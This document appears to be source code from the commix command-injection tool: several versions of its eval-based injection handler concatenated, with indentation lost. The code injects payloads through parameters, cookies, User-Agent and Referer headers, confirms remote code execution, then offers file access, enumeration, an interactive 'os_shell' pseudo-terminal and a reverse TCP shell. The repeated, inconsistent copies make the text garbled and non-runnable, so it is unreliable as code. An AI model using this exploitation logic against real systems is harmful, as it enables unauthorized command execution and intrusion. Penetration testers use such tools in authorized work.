# Yaw, got shellz!
# Do some magic tricks!
if shell:
found = True
no_result = False
if settings.COOKIE_INJECTION == True:
header_name = " cookie"
found_vuln_parameter = vuln_parameter
the_type = " parameter"
elif settings.USER_AGENT_INJECTION == True:
header_name = " User-Agent"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.REFERER_INJECTION == True:
header_name = " Referer"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.CUSTOM_HEADER_INJECTION == True:
header_name = " " + settings.CUSTOM_HEADER_NAME
found_vuln_parameter = ""
the_type = " HTTP header"
else:
header_name = ""
the_type = " parameter"
if http_request_method == "GET":
found_vuln_parameter = parameters.vuln_GET_param(
url)
else:
found_vuln_parameter = vuln_parameter
if len(found_vuln_parameter) != 0:
found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(
export_injection_info, filename,
injection_type, technique)
if vp_flag == True:
vp_flag = logs.add_parameter(
vp_flag, filename, the_type, header_name,
http_request_method, vuln_parameter, payload)
logs.update_payload(filename, counter, payload)
counter = counter + 1
if not settings.LOAD_SESSION:
print ""
# Print the findings to terminal.
success_msg = "The"
if found_vuln_parameter == " ":
success_msg += http_request_method + ""
success_msg += the_type + header_name
success_msg += found_vuln_parameter + " seems injectable via "
success_msg += "(" + injection_type.split(
" ")[0] + ") " + technique + "."
print settings.print_success_msg(success_msg)
print settings.SUB_CONTENT_SIGN + "Payload: " + re.sub(
"%20", " ", payload) + Style.RESET_ALL
# Export session
if not settings.LOAD_SESSION:
session_handler.injection_point_importation(
url,
technique,
injection_type,
separator,
shell[0],
vuln_parameter,
prefix,
suffix,
TAG,
alter_shell,
payload,
http_request_method,
url_time_response=0,
delay=0,
how_long=0,
output_length=0,
is_vulnerable=menu.options.level)
else:
whitespace = settings.WHITESPACE[0]
settings.LOAD_SESSION = False
# Check for any enumeration options.
if settings.ENUMERATION_DONE == True:
while True:
question_msg = "Do you want to enumerate again? [Y/n/q] > "
enumerate_again = raw_input(
"\n" +
settings.print_question_msg(question_msg)
).lower()
if enumerate_again in settings.CHOICE_YES:
eb_enumeration.do_check(
separator, TAG, prefix, suffix,
whitespace, http_request_method, url,
vuln_parameter, alter_shell, filename,
delay)
print ""
break
elif enumerate_again in settings.CHOICE_NO:
break
elif enumerate_again in settings.CHOICE_QUIT:
sys.exit(0)
else:
if enumerate_again == "":
enumerate_again = "enter"
err_msg = "'" + enumerate_again + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
else:
if menu.enumeration_options():
eb_enumeration.do_check(
separator, TAG, prefix, suffix, whitespace,
http_request_method, url, vuln_parameter,
alter_shell, filename, delay)
if not menu.file_access_options(
) and not menu.options.os_cmd:
print ""
# Check for any system file access options.
if settings.FILE_ACCESS_DONE == True:
if settings.ENUMERATION_DONE != True:
print ""
while True:
question_msg = "Do you want to access files again? [Y/n/q] > "
sys.stdout.write(
settings.print_question_msg(question_msg))
file_access_again = sys.stdin.readline(
).replace("\n", "").lower()
if file_access_again in settings.CHOICE_YES:
eb_file_access.do_check(
separator, TAG, prefix, suffix,
whitespace, http_request_method, url,
vuln_parameter, alter_shell, filename,
delay)
print ""
break
elif file_access_again in settings.CHOICE_NO:
break
elif file_access_again in settings.CHOICE_QUIT:
sys.exit(0)
else:
if file_access_again == "":
file_access_again = "enter"
err_msg = "'" + file_access_again + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
else:
if menu.file_access_options():
if not menu.enumeration_options():
print ""
eb_file_access.do_check(
separator, TAG, prefix, suffix, whitespace,
http_request_method, url, vuln_parameter,
alter_shell, filename, delay)
print ""
# Check if defined single cmd.
if menu.options.os_cmd:
if not menu.file_access_options():
print ""
eb_enumeration.single_os_cmd_exec(
separator, TAG, prefix, suffix, whitespace,
http_request_method, url, vuln_parameter,
alter_shell, filename, delay)
# Pseudo-Terminal shell
go_back = False
go_back_again = False
while True:
if go_back == True:
break
question_msg = "Do you want a Pseudo-Terminal? [Y/n/q] > "
sys.stdout.write(
settings.print_question_msg(question_msg))
gotshell = sys.stdin.readline().replace(
"\n", "").lower()
if gotshell in settings.CHOICE_YES:
print ""
print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
if readline_error:
checks.no_readline_module()
while True:
try:
# Tab compliter
if not readline_error:
readline.set_completer(
menu.tab_completer)
# MacOSX tab compliter
if getattr(
readline, '__doc__', ''
) is not None and 'libedit' in getattr(
readline, '__doc__', ''):
readline.parse_and_bind(
"bind ^I rl_complete")
# Unix tab compliter
else:
readline.parse_and_bind(
"tab: complete")
cmd = raw_input("""commix(""" +
Style.BRIGHT +
Fore.RED +
"""os_shell""" +
Style.RESET_ALL +
""") > """)
cmd = checks.escaped_cmd(cmd)
# if settings.VERBOSITY_LEVEL >= 1:
# print ""
if cmd.lower(
) in settings.SHELL_OPTIONS:
os_shell_option = checks.check_os_shell_options(
cmd.lower(), technique,
go_back, no_result)
if os_shell_option == False:
if no_result == True:
return False
else:
return True
elif os_shell_option == "quit":
sys.exit(0)
elif os_shell_option == "back":
go_back = True
break
elif os_shell_option == "os_shell":
warn_msg = "You are already into an 'os_shell' mode."
print settings.print_warning_msg(
warn_msg) + "\n"
elif os_shell_option == "reverse_tcp":
settings.REVERSE_TCP = True
# Set up LHOST / LPORT for The reverse TCP connection.
reverse_tcp.configure_reverse_tcp(
)
if settings.REVERSE_TCP == False:
continue
while True:
if settings.LHOST and settings.LPORT in settings.SHELL_OPTIONS:
result = checks.check_reverse_tcp_options(
settings.LHOST)
else:
cmd = reverse_tcp.reverse_tcp_options(
)
result = checks.check_reverse_tcp_options(
cmd)
if result != None:
if result == 0:
return False
elif result == 1 or result == 2:
go_back_again = True
settings.REVERSE_TCP = False
break
# Command execution results.
response = eb_injector.injection(
separator, TAG, cmd,
prefix, suffix,
whitespace,
http_request_method,
url, vuln_parameter,
alter_shell, filename)
# Evaluate injection results.
shell = eb_injector.injection_results(
response, TAG, cmd)
if settings.VERBOSITY_LEVEL >= 1:
print ""
err_msg = "The reverse TCP connection has failed!"
print settings.print_critical_msg(
err_msg)
else:
pass
else:
# The main command injection exploitation.
response = eb_injector.injection(
separator, TAG, cmd, prefix,
suffix, whitespace,
http_request_method, url,
vuln_parameter, alter_shell,
filename)
# Try target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(
url, delay)
if menu.options.ignore_session or\
session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
# Evaluate injection results.
shell = eb_injector.injection_results(
response, TAG, cmd)
shell = "".join(
str(p)
for p in shell).replace(
" ", "", 1)
if not menu.options.ignore_session:
session_handler.store_cmd(
url, cmd, shell,
vuln_parameter)
else:
shell = session_handler.export_stored_cmd(
url, cmd, vuln_parameter)
#if shell:
if shell != "":
shell = "".join(
str(p) for p in shell)
# if settings.VERBOSITY_LEVEL >= 1:
# print ""
print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n"
else:
err_msg = "The '" + cmd + "' command, does not return any output."
print settings.print_critical_msg(
err_msg) + "\n"
except KeyboardInterrupt:
raise
except SystemExit:
raise
elif gotshell in settings.CHOICE_NO:
if checks.next_attack_vector(
technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
return True
elif gotshell in settings.CHOICE_QUIT:
sys.exit(0)
else:
if gotshell == "":
gotshell = "enter"
err_msg = "'" + gotshell + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
if no_result == True:
print ""
return False
else:
sys.stdout.write("\r")
sys.stdout.flush()
def eb_injection_handler(url, delay, filename, http_request_method):
counter = 1
vp_flag = True
no_result = True
export_injection_info = False
injection_type = "Results-based Command Injection"
technique = "eval-based code injection technique"
for item in range(0, len(settings.EXECUTION_FUNCTIONS)):
settings.EXECUTION_FUNCTIONS[
item] = "${" + settings.EXECUTION_FUNCTIONS[item] + "("
settings.EVAL_PREFIXES = settings.EVAL_PREFIXES + settings.EXECUTION_FUNCTIONS
url = eb_injector.warning_detection(url, http_request_method)
sys.stdout.write("(*) Testing the " + technique + "... ")
sys.stdout.flush()
i = 0
# Calculate all possible combinations
total = len(settings.EVAL_PREFIXES) * len(settings.EVAL_SEPARATORS) * len(
settings.EVAL_SUFFIXES)
for prefix in settings.EVAL_PREFIXES:
for suffix in settings.EVAL_SUFFIXES:
for separator in settings.EVAL_SEPARATORS:
i = i + 1
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
# Change TAG on every request to prevent false-positive results.
TAG = ''.join(
random.choice(string.ascii_uppercase) for i in range(6))
randv1 = random.randrange(100)
randv2 = random.randrange(100)
randvcalc = randv1 + randv2
# Define alter shell
alter_shell = menu.options.alter_shell
try:
if alter_shell:
# Classic -alter shell- decision payload (check if host is vulnerable).
payload = eb_payloads.decision_alter_shell(
separator, TAG, randv1, randv2)
else:
# Classic decision payload (check if host is vulnerable).
payload = eb_payloads.decision(separator, TAG, randv1,
randv2)
suffix = urllib.quote(suffix)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Fixation for specific payload.
if ")%3B" + urllib.quote(")}") in payload:
payload = payload.replace(")%3B" + urllib.quote(")}"),
")" + urllib.quote(")}"))
payload = payload + TAG + ""
if menu.options.base64:
payload = urllib.unquote(payload)
payload = base64.b64encode(payload)
else:
payload = re.sub(" ", "%20", payload)
# Check if defined "--verbose" option.
if menu.options.verbose:
sys.stdout.write("\n" + Fore.GREY + "(~) Payload: " +
payload + Style.RESET_ALL)
# Cookie Injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie injection.
vuln_parameter = parameters.specify_cookie_parameter(
menu.options.cookie)
response = eb_injector.cookie_injection_test(
url, vuln_parameter, payload)
# User-Agent Injection
elif settings.USER_AGENT_INJECTION == True:
# Check if target host is vulnerable to user-agent injection.
vuln_parameter = parameters.specify_user_agent_parameter(
menu.options.agent)
response = eb_injector.user_agent_injection_test(
url, vuln_parameter, payload)
# Referer Injection
elif settings.REFERER_INJECTION == True:
# Check if target host is vulnerable to referer injection.
vuln_parameter = parameters.specify_referer_parameter(
menu.options.referer)
response = eb_injector.referer_injection_test(
url, vuln_parameter, payload)
else:
found_cookie_injection = False
# Check if target host is vulnerable.
response, vuln_parameter = eb_injector.injection_test(
payload, http_request_method, url)
# if need page reload
if menu.options.url_reload:
time.sleep(delay)
response = urllib.urlopen(url)
# Evaluate test results.
shell = eb_injector.injection_test_results(
response, TAG, randvcalc)
if not menu.options.verbose:
percent = ((i * 100) / total)
float_percent = "{0:.1f}".format(
round(((i * 100) / (total * 1.0)), 2))
if shell == False:
sys.stdout.write("\r(*) Testing the " + technique +
"... " + "[ " + float_percent +
"%" + " ]")
sys.stdout.flush()
if str(float_percent) == "100.0":
if no_result == True:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
else:
percent = str(float_percent) + "%"
elif len(shell) != 0:
percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
else:
percent = str(float_percent) + "%"
sys.stdout.write("\r(*) Testing the " + technique +
"... " + "[ " + percent + " ]")
sys.stdout.flush()
except KeyboardInterrupt:
raise
except SystemExit:
raise
except:
continue
# Yaw, got shellz!
# Do some magic tricks!
if shell:
found = True
no_result = False
if settings.COOKIE_INJECTION == True:
header_name = " Cookie"
found_vuln_parameter = vuln_parameter
the_type = " HTTP header"
elif settings.USER_AGENT_INJECTION == True:
header_name = " User-Agent"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.REFERER_INJECTION == True:
header_name = " Referer"
found_vuln_parameter = ""
the_type = " HTTP header"
else:
header_name = ""
the_type = " parameter"
if http_request_method == "GET":
found_vuln_parameter = parameters.vuln_GET_param(
url)
else:
found_vuln_parameter = vuln_parameter
if len(found_vuln_parameter) != 0:
found_vuln_parameter = " '" + Style.UNDERLINE + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(
export_injection_info, filename, injection_type,
technique)
if vp_flag == True:
vp_flag = logs.add_parameter(vp_flag, filename,
http_request_method,
vuln_parameter, payload)
logs.update_payload(filename, counter, payload)
counter = counter + 1
# Print the findings to terminal.
print Style.BRIGHT + "\n(!) The (" + http_request_method + ")" + found_vuln_parameter + header_name + the_type + " is vulnerable to " + injection_type + "." + Style.RESET_ALL
print " (+) Type : " + Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + ""
print " (+) Technique : " + Fore.YELLOW + Style.BRIGHT + technique.title(
) + Style.RESET_ALL + ""
print " (+) Payload : " + Fore.YELLOW + Style.BRIGHT + re.sub(
"%20", " ", payload) + Style.RESET_ALL
# Check for any enumeration options.
if settings.ENUMERATION_DONE == True:
while True:
enumerate_again = raw_input(
"\n(?) Do you want to enumerate again? [Y/n/q] > "
).lower()
if enumerate_again in settings.CHOISE_YES:
eb_enumeration.do_check(
separator, TAG, prefix, suffix,
http_request_method, url, vuln_parameter,
alter_shell, filename)
break
elif enumerate_again in settings.CHOISE_NO:
break
elif enumerate_again in settings.CHOISE_QUIT:
sys.exit(0)
else:
if enumerate_again == "":
enumerate_again = "enter"
print Back.RED + "(x) Error: '" + enumerate_again + "' is not a valid answer." + Style.RESET_ALL + "\n"
pass
else:
eb_enumeration.do_check(separator, TAG, prefix, suffix,
http_request_method, url,
vuln_parameter, alter_shell,
filename)
# Check for any system file access options.
if settings.FILE_ACCESS_DONE == True:
while True:
file_access_again = raw_input(
"(?) Do you want to access files again? [Y/n/q] > "
).lower()
if file_access_again in settings.CHOISE_YES:
if not menu.options.verbose:
print ""
eb_file_access.do_check(
separator, TAG, prefix, suffix,
http_request_method, url, vuln_parameter,
alter_shell, filename)
break
elif file_access_again in settings.CHOISE_NO:
break
elif file_access_again in settings.CHOISE_QUIT:
sys.exit(0)
else:
if file_access_again == "":
file_access_again = "enter"
print Back.RED + "(x) Error: '" + file_access_again + "' is not a valid answer." + Style.RESET_ALL + "\n"
pass
else:
eb_file_access.do_check(separator, TAG, prefix, suffix,
http_request_method, url,
vuln_parameter, alter_shell,
filename)
# Check if defined single cmd.
if menu.options.os_cmd:
eb_enumeration.single_os_cmd_exec(
separator, TAG, prefix, suffix,
http_request_method, url, vuln_parameter,
alter_shell, filename)
# Pseudo-Terminal shell
go_back = False
go_back_again = False
while True:
if go_back == True:
break
gotshell = raw_input(
"(?) Do you want a Pseudo-Terminal? [Y/n/q] > "
).lower()
if gotshell in settings.CHOISE_YES:
print ""
print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
if readline_error:
checks.no_readline_module()
while True:
try:
# Tab compliter
if not readline_error:
readline.set_completer(
menu.tab_completer)
# MacOSX tab compliter
if getattr(
readline, '__doc__', ''
) is not None and 'libedit' in getattr(
readline, '__doc__', ''):
readline.parse_and_bind(
"bind ^I rl_complete")
# Unix tab compliter
else:
readline.parse_and_bind(
"tab: complete")
cmd = raw_input("""commix(""" +
Style.BRIGHT + Fore.RED +
"""os_shell""" +
Style.RESET_ALL +
""") > """)
cmd = checks.escaped_cmd(cmd)
if cmd.lower() in settings.SHELL_OPTIONS:
os_shell_option = checks.check_os_shell_options(
cmd.lower(), technique, go_back,
no_result)
if os_shell_option == False:
if no_result == True:
return False
else:
return True
elif os_shell_option == "quit":
sys.exit(0)
elif os_shell_option == "back":
go_back = True
break
elif os_shell_option == "os_shell":
print Fore.YELLOW + "(^) Warning: You are already into an 'os_shell' mode." + Style.RESET_ALL + "\n"
elif os_shell_option == "reverse_tcp":
settings.REVERSE_TCP = True
# Set up LHOST / LPORT for The reverse TCP connection.
lhost, lport = reverse_tcp.configure_reverse_tcp(
)
while True:
if lhost and lport in settings.SHELL_OPTIONS:
result = checks.check_reverse_tcp_options(
lhost)
else:
cmd = reverse_tcp.reverse_tcp_options(
lhost, lport)
result = checks.check_reverse_tcp_options(
cmd)
if result != None:
if result == 0:
return False
elif result == 1 or result == 2:
settings.REVERSE_TCP = False
go_back_again = True
break
# Command execution results.
response = eb_injector.injection(
separator, TAG, cmd,
prefix, suffix,
http_request_method, url,
vuln_parameter,
alter_shell, filename)
# Evaluate injection results.
shell = eb_injector.injection_results(
response, TAG)
print shell
if menu.options.verbose:
print ""
print Back.RED + "(x) Error: The reverse TCP connection has been failed!" + Style.RESET_ALL
else:
pass
else:
# The main command injection exploitation.
response = eb_injector.injection(
separator, TAG, cmd, prefix,
suffix, http_request_method, url,
vuln_parameter, alter_shell,
filename)
# if need page reload
if menu.options.url_reload:
time.sleep(delay)
response = urllib.urlopen(url)
# Command execution results.
shell = eb_injector.injection_results(
response, TAG)
if shell:
shell = "".join(
str(p) for p in shell).replace(
" ", "", 1)[:-1]
if shell != "":
print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n"
else:
print Back.RED + "(x) Error: The '" + cmd + "' command, does not return any output." + Style.RESET_ALL + "\n"
except KeyboardInterrupt:
raise
except SystemExit:
raise
elif gotshell in settings.CHOISE_NO:
if checks.next_attack_vector(technique,
go_back) == True:
break
else:
if no_result == True:
return False
else:
return True
elif gotshell in settings.CHOISE_QUIT:
sys.exit(0)
else:
if gotshell == "":
gotshell = "enter"
print Back.RED + "(x) Error: '" + gotshell + "' is not a valid answer." + Style.RESET_ALL + "\n"
pass
if no_result == True:
print ""
return False
else:
sys.stdout.write("\r")
sys.stdout.flush()
def eb_injection_handler(url, delay, filename, http_request_method):
counter = 1
vp_flag = True
no_result = True
export_injection_info = False
injection_type = "Results-based Command Injection"
technique = "eval-based injection technique"
for item in range(0, len(settings.EXECUTION_FUNCTIONS)):
settings.EXECUTION_FUNCTIONS[item] = "${" + settings.EXECUTION_FUNCTIONS[item] + "("
settings.EVAL_PREFIXES = settings.EVAL_PREFIXES + settings.EXECUTION_FUNCTIONS
url = eb_injector.warning_detection(url, http_request_method)
sys.stdout.write("(*) Testing the "+ technique + "... ")
sys.stdout.flush()
i = 0
# Calculate all possible combinations
total = len(settings.EVAL_PREFIXES) * len(settings.EVAL_SEPARATORS) * len(settings.EVAL_SUFFIXES)
for prefix in settings.EVAL_PREFIXES:
for suffix in settings.EVAL_SUFFIXES:
for separator in settings.EVAL_SEPARATORS:
i = i + 1
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
# Change TAG on every request to prevent false-positive results.
TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6))
randv1 = random.randrange(100)
randv2 = random.randrange(100)
randvcalc = randv1 + randv2
try:
# Eval-based decision payload (check if host is vulnerable).
payload = eb_payloads.decision(separator, TAG, randv1, randv2)
suffix = urllib.quote(suffix)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Fixation for specific payload.
if ")%3B" + urllib.quote(")}") in payload:
payload = payload.replace(")%3B" + urllib.quote(")}"), ")" + urllib.quote(")}"))
payload = payload + "" + TAG + ""
if menu.options.base64:
payload = urllib.unquote(payload)
payload = base64.b64encode(payload)
else:
payload = re.sub(" ", "%20", payload)
# Check if defined "--verbose" option.
if menu.options.verbose:
sys.stdout.write("\n" + Fore.GREY + "(~) Payload: " + payload + Style.RESET_ALL)
# Cookie Injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie injection.
vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
response = eb_injector.cookie_injection_test(url, vuln_parameter, payload)
# User-Agent Injection
elif settings.USER_AGENT_INJECTION == True:
# Check if target host is vulnerable to user-agent injection.
vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
response = eb_injector.user_agent_injection_test(url, vuln_parameter, payload)
# Referer Injection
elif settings.REFERER_INJECTION == True:
# Check if target host is vulnerable to referer injection.
vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
response = eb_injector.referer_injection_test(url, vuln_parameter, payload)
else:
found_cookie_injection = False
# Check if target host is vulnerable.
response, vuln_parameter = eb_injector.injection_test(payload, http_request_method, url)
# if need page reload
if menu.options.url_reload:
time.sleep(delay)
response = urllib.urlopen(url)
# Evaluate test results.
shell = eb_injector.injection_test_results(response, TAG, randvcalc)
if not menu.options.verbose:
percent = ((i*100)/total)
float_percent = "{0:.1f}".format(round(((i*100)/(total * 1.0)),2))
if percent == 100:
if no_result == True:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
else:
percent = str(float_percent)+"%"
elif len(shell) != 0:
percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
else:
percent = str(float_percent)+"%"
sys.stdout.write("\r(*) Testing the "+ technique + "... " + "[ " + percent + " ]")
sys.stdout.flush()
except KeyboardInterrupt:
raise
except:
continue
# Yaw, got shellz!
# Do some magic tricks!
if shell:
found = True
no_result = False
if settings.COOKIE_INJECTION == True:
header_name = " Cookie"
found_vuln_parameter = vuln_parameter
the_type = " HTTP header"
elif settings.USER_AGENT_INJECTION == True:
header_name = " User-Agent"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.REFERER_INJECTION == True:
header_name = " Referer"
found_vuln_parameter = ""
the_type = " HTTP header"
else:
header_name = ""
the_type = " parameter"
if http_request_method == "GET":
found_vuln_parameter = parameters.vuln_GET_param(url)
else :
found_vuln_parameter = vuln_parameter
if len(found_vuln_parameter) != 0 :
found_vuln_parameter = " '" + Style.UNDERLINE + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
if vp_flag == True:
vp_flag = logs.add_parameter(vp_flag, filename, http_request_method, vuln_parameter, payload)
logs.update_payload(filename, counter, payload)
counter = counter + 1
# Print the findings to terminal.
print Style.BRIGHT + "\n(!) The ("+ http_request_method + ")" + found_vuln_parameter + header_name + the_type + " is vulnerable to "+ injection_type + "." + Style.RESET_ALL
print " (+) Type : "+ Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + ""
print " (+) Technique : "+ Fore.YELLOW + Style.BRIGHT + technique.title() + Style.RESET_ALL + ""
print " (+) Payload : "+ Fore.YELLOW + Style.BRIGHT + re.sub("%20", " ", payload) + Style.RESET_ALL
# Check for any enumeration options.
if settings.ENUMERATION_DONE == True :
while True:
enumerate_again = raw_input("\n(?) Do you want to enumerate again? [Y/n/q] > ").lower()
if enumerate_again in settings.CHOISE_YES:
eb_enumeration.do_check(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, filename)
break
elif enumerate_again in settings.CHOISE_NO:
break
elif enumerate_again in settings.CHOISE_QUIT:
sys.exit(0)
else:
if enumerate_again == "":
enumerate_again = "enter"
print Back.RED + "(x) Error: '" + enumerate_again + "' is not a valid answer." + Style.RESET_ALL
pass
else:
eb_enumeration.do_check(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, filename)
# Check for any system file access options.
if settings.FILE_ACCESS_DONE == True :
while True:
file_access_again = raw_input("(?) Do you want to access files again? [Y/n/q] > ").lower()
if file_access_again in settings.CHOISE_YES:
print ""
eb_file_access.do_check(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, filename)
break
elif file_access_again in settings.CHOISE_NO:
break
elif file_access_again in settings.CHOISE_QUIT:
sys.exit(0)
else:
if file_access_again == "":
file_access_again = "enter"
print Back.RED + "(x) Error: '" + file_access_again + "' is not a valid answer." + Style.RESET_ALL
pass
else:
eb_file_access.do_check(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, filename)
# Check if defined single cmd.
if menu.options.os_cmd:
eb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, filename)
# Pseudo-Terminal shell
go_back = False
while True:
if go_back == True:
break
gotshell = raw_input("(?) Do you want a Pseudo-Terminal shell? [Y/n/q] > ").lower()
if gotshell in settings.CHOISE_YES:
print ""
print "Pseudo-Terminal (type '?' for shell options)"
while True:
try:
cmd = raw_input("Shell > ")
if cmd.lower() in settings.SHELL_OPTIONS:
if cmd.lower() == "?":
menu.shell_options()
elif cmd.lower() == "quit":
sys.exit(0)
elif cmd.lower() == "back":
go_back = True
if checks.check_next_attack_vector(technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
return True
else:
pass
else:
# The main command injection exploitation.
response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, filename)
# if need page reload
if menu.options.url_reload:
time.sleep(delay)
response = urllib.urlopen(url)
# Command execution results.
shell = eb_injector.injection_results(response, TAG)
if shell:
shell = "".join(str(p) for p in shell).replace(" ", "", 1)[:-1]
if shell != "":
print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n"
else:
print Back.RED + "(x) Error: The '" + cmd + "' command, does not return any output." + Style.RESET_ALL + "\n"
except KeyboardInterrupt:
raise
elif gotshell in settings.CHOISE_NO:
if checks.check_next_attack_vector(technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
return True
elif gotshell in settings.CHOISE_QUIT:
sys.exit(0)
else:
if gotshell == "":
gotshell = "enter"
print Back.RED + "(x) Error: '" + gotshell + "' is not a valid answer." + Style.RESET_ALL
pass
if no_result == True:
print ""
return False
else :
sys.stdout.write("\r")
sys.stdout.flush()
def eb_injection_handler(url, delay, filename, http_request_method):
counter = 1
vp_flag = True
no_result = True
export_injection_info = False
injection_type = "Results-based Command Injection"
technique = "eval-based injection technique"
url = eb_injector.warning_detection(url)
sys.stdout.write("(*) Testing the " + technique + "... ")
sys.stdout.flush()
i = 0
# Calculate all possible combinations
total = len(settings.EVAL_PREFIXES) * len(settings.EVAL_SEPARATORS) * len(
settings.EVAL_SUFFIXES)
for prefix in settings.EVAL_PREFIXES:
for suffix in settings.EVAL_SUFFIXES:
for separator in settings.EVAL_SEPARATORS:
i = i + 1
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
# Change TAG on every request to prevent false-positive results.
TAG = ''.join(
random.choice(string.ascii_uppercase) for i in range(6))
randv1 = random.randrange(100)
randv2 = random.randrange(100)
randvcalc = randv1 + randv2
try:
# Eval-based decision payload (check if host is vulnerable).
payload = eb_payloads.decision(separator, TAG, randv1,
randv2)
suffix = urllib.quote(suffix)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
payload = payload + "" + TAG + ""
payload = re.sub(" ", "%20", payload)
# Check if defined "--verbose" option.
if menu.options.verbose:
sys.stdout.write("\n" + Fore.GREY + "(~) Payload: " +
payload + Style.RESET_ALL)
# Cookie Injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie injection.
vuln_parameter = parameters.specify_cookie_parameter(
menu.options.cookie)
response = eb_injector.cookie_injection_test(
url, vuln_parameter, payload)
# User-Agent Injection
elif settings.USER_AGENT_INJECTION == True:
# Check if target host is vulnerable to user-agent injection.
vuln_parameter = parameters.specify_user_agent_parameter(
menu.options.agent)
response = eb_injector.user_agent_injection_test(
url, vuln_parameter, payload)
# Referer Injection
elif settings.REFERER_INJECTION == True:
# Check if target host is vulnerable to referer injection.
vuln_parameter = parameters.specify_referer_parameter(
menu.options.referer)
response = eb_injector.referer_injection_test(
url, vuln_parameter, payload)
else:
found_cookie_injection = False
# Check if target host is vulnerable.
response, vuln_parameter = eb_injector.injection_test(
payload, http_request_method, url)
# if need page reload
if menu.options.url_reload:
time.sleep(delay)
response = urllib.urlopen(url)
# Evaluate test results.
shell = eb_injector.injection_test_results(
response, TAG, randvcalc)
if not menu.options.verbose:
percent = ((i * 100) / total)
float_percent = "{0:.1f}".format(
round(((i * 100) / (total * 1.0)), 2))
if percent == 100:
if no_result == True:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
else:
percent = str(float_percent) + "%"
elif len(shell) != 0:
percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
else:
percent = str(float_percent) + "%"
sys.stdout.write("\r(*) Testing the " + technique +
"... " + "[ " + percent + " ]")
sys.stdout.flush()
except KeyboardInterrupt:
raise
except:
continue
# Yaw, got shellz!
# Do some magic tricks!
if shell:
found = True
no_result = False
if settings.COOKIE_INJECTION == True:
header_name = " Cookie"
found_vuln_parameter = vuln_parameter
the_type = " HTTP header"
elif settings.USER_AGENT_INJECTION == True:
header_name = " User-Agent"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.REFERER_INJECTION == True:
header_name = " Referer"
found_vuln_parameter = ""
the_type = " HTTP header"
else:
header_name = ""
the_type = " parameter"
if http_request_method == "GET":
found_vuln_parameter = parameters.vuln_GET_param(
url)
else:
found_vuln_parameter = vuln_parameter
if len(found_vuln_parameter) != 0:
found_vuln_parameter = " '" + Style.UNDERLINE + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(
export_injection_info, filename, injection_type,
technique)
if vp_flag == True:
vp_flag = logs.add_parameter(vp_flag, filename,
http_request_method,
vuln_parameter, payload)
logs.upload_payload(filename, counter, payload)
counter = counter + 1
# Print the findings to terminal.
print Style.BRIGHT + "\n(!) The (" + http_request_method + ")" + found_vuln_parameter + header_name + the_type + " is vulnerable to " + injection_type + "." + Style.RESET_ALL
print " (+) Type : " + Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + ""
print " (+) Technique : " + Fore.YELLOW + Style.BRIGHT + technique.title(
) + Style.RESET_ALL + ""
print " (+) Payload : " + Fore.YELLOW + Style.BRIGHT + re.sub(
"%20", " ", payload) + Style.RESET_ALL
# Check for any enumeration options.
